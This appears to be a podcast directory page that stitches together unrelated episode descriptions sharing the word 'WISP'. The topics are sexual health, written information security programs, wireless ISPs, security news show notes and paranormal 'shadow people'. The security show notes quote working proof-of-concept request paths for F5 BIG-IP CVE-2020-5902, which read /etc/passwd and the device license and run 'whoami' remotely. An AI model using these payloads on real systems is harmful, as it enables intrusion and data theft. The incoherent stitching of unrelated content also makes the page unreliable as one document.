wisp

Use code WISPERING15 for 15% off any purchase, including BV, UTI, Yeast Infection meds, and so much more.

Symone and Dr Purdy have returned and this week they're talking everything U-T-I. Most women will experience a UTI at some point and once you've felt that burn, you'll do anything to keep it from coming back  Listen to Dr. Laura Purdy's expert advice for treating this painful infection and the best ways to prevent it from happening to you!

-

Tired of "whispering" about sex? We're changing the volume of one of life's most difficult conversations. Join us for an unfiltered take on sexual health, consequences, and treatment. We'll bust common myths, talk next steps, and break down the barriers that prevent us from being our best—unapologetic—selves.

The Wispering Podcast is sponsored and created by Wisp. Wisp is healthcare on your terms. Connect with a doctor online and get safe, effective same-day treatment—no appointments, no waiting rooms. Just the care you need when you need it, available in all 50 states.

Featuring Dr Laura Purdy and Symone Elena
Edited by Lu Optic
Researched by Kathleen Morrison
Produced by Payton Jai

Data privacy rules continue to expand, and even if you are well informed on GDPR, you may not know why you need to know about the WISP.

A Written Information Security Program (WISP) is a set of documents that details an organization’s security controls, processes as well as policies. In many states in North America, a WISP is a legally required document, to show the organization’s IT security and data protection status.

It takes into account the policies and processes that should be in place to ensure that any organization, which processes, controls, manages, licenses and/or retain personal information about citizens, and has implemented the required level of data protection and cyber security. If these do not currently exist, a WISP can help identify the gaps in any security plan.

Join host KiKi L'Italien as she interviews David Clarke, Chief Technology Officer, The Trust Bridge, and Malcolm Dowden, Partner, Data Privacy, Cybersecurity and Digital Assets, Squire Patton Boggs, to discuss this important issue.

As data breaches and cyber security attacks increase, having the correct WISP documentation in place can demonstrate to clients and suppliers, customers and members, as well as the regulatory authorities and employees that your organization takes Data Protection and Cyber Security seriously, and has implemented the necessary safeguards.

Wireless Internet service providers - WISP system owners, investors and vendors need to know the current size, potential and competition for wireless broadband systems & services. WISP system operators want to know typical rates to charge, potential revenues for other services, and how their WISP services compare and compete with other types of Internet service providers. Listen to this session to discover the revenues per subscriber, additional services that add revenues and how WISPs compare and compete with other types of Internet service providers.

Topics Covered in this Session:

Number of WISP Systems
WISP Subscriber Base & Growth
WISP Average Revenue per User - ARPU
Service Types & Pricing
Fixed Wireless Churn Rates
Broadband Wireless Competitive Analysis
Key Revenue Types & Trends
WISP Marketplace Forecast
And more….

WISP.org donation page: https://wisporg.z2systems.com/np/clients/wisporg/donation.jsp

Mick Douglas (@bettersafetynet on Twitter)

Powercat: https://github.com/besimorhino/powercat

Netcat in a powershell environment

https://blog.rapid7.com/2018/09/27/the-powershell-boogeyman-how-to-defend-against-malicious-powershell-attacks/

https://www.hackingarticles.in/powercat-a-powershell-netcat/

Defenses against powercat? 

LolBins: https://www.cynet.com/blog/what-are-lolbins-and-how-do-attackers-use-them-in-fileless-attacks/

Sigma ruleset: https://www.nextron-systems.com/2018/02/10/write-sigma-rules/#:~:text=Sigma%20is%20an%20open%20standard,grep%20on%20the%20command%20line.

ElasticSearch bought Endgame; https://www.elastic.co/about/press/elastic-announces-intent-to-acquire-endgame

https://krebsonsecurity.com/2020/07/thinking-of-a-cybersecurity-career-read-this/

Twitter DM to @bettersafetynet:

Hey... I wanna talk about @hrbrmstr's tweet on the show tonight as well...

https://twitter.com/hrbrmstr/status/1287442304593276929

My thinking is if Cisco and others didn't try to intentionally downplay vulnerabilities by announcing them on a Friday, would we be more likely to patch sooner? Also, greater need for testing of patches to ensure that 80% of your workforce rely on that technology now. What's worse? Patching on a Friday evening (after several hours explaining the vuln to a manager), and then having it fuck something up so you're up at crack of dawn Monday troubleshooting something missed Friday night because testing was rushed/not conducted because the CEO can't access email?

I have thoughts, I've added this to the show note google doc.

https://www.reddit.com/r/netsec/comments/hwaj6f/nmap_script_fot_cve20203452/  -- nmap PoC script?

Embargoed vulns…

Getting management buy-in to patch 

1st: WISP.org PSA from Rachel Tobac (@racheltobac) & @wisporg talking about #shareTheMicInCyber

#SAML PAN-OS: https://twitter.com/RyanLNewington/status/1278074919092289537

 F5 vulnerability:

https://www.wired.com/story/f5-big-ip-networking-vulnerability/

https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/

F5 Mitigation (if patching is not immediately possible): https://twitter.com/TeamAresSec/status/1280590730684256258

Redirect 404 /

https://twitter.com/wugeej/status/1280008779359125504 - Tweet with PoC for the LFI and RCE

F5 Big-IP CVE-2020-5902 LFI and RCE

LFI

https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

or /etc/hosts

or /config/bigip.license

RCE

https:///tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami

How to cope in a no-win situation:

https://twitter.com/datSecuritychic/status/1280527467569008640

Semicolon in bash: https://docstore.mik.ua/orelly/unix3/upt/ch28_16.htm#:~:text=When%20the%20shell%20sees%20a,once%20at%20a%20single%20prompt.

Some stories stand the test of time. Join us while we speculate a little about things that go bump in the night. A widely reported phenomenon is discussed and lots of theories are presented that range from ancient lore and literature to the modern generations of today’s cultures. Who are the shadow people and what do they want?

Shadow People.  Katherine Ramsland Ph.D. Interview with Rosemary Ellen Guiley, Author of The Djinn Connection

https://www.psychologytoday.com/us/blog/shadow-boxing/201307/shadow-people

Explanations for the “Shadow People” Phenomenon.  Stephen Wagner.  January 06, 2019

https://www.thoughtco.com/shadow-people-2596772

The Shadow People – Interdimensional Beings Being Seen By Many.

http://www.ufointernationalproject.com/latest-news/the-shadow-people-interdimensional-beings-connecting-with-many/ 

 Carl Jung and the Shadow;  The Hidden Power of Our Dark Side.  12/17/2015.

https://academyofideas.com/2015/12/carl-jung-and-the-shadow-the-hidden-power-of-our-dark-side/

Everything about Shadow People.  Alexander Light.  02-16015. Humans are Free.

http://humansarefree.com/2015/02/everything-about-shadow-people.html

Fear Dorcha: Shadow Creature from the Land of the Celts.  Shanon Sinn.  09-19-2012

https://livinglibraryblog.com/fear-dorcha/

Steve McKim shares his experience, insights, and knowledge of starting a WISP while maintaining his full-time job.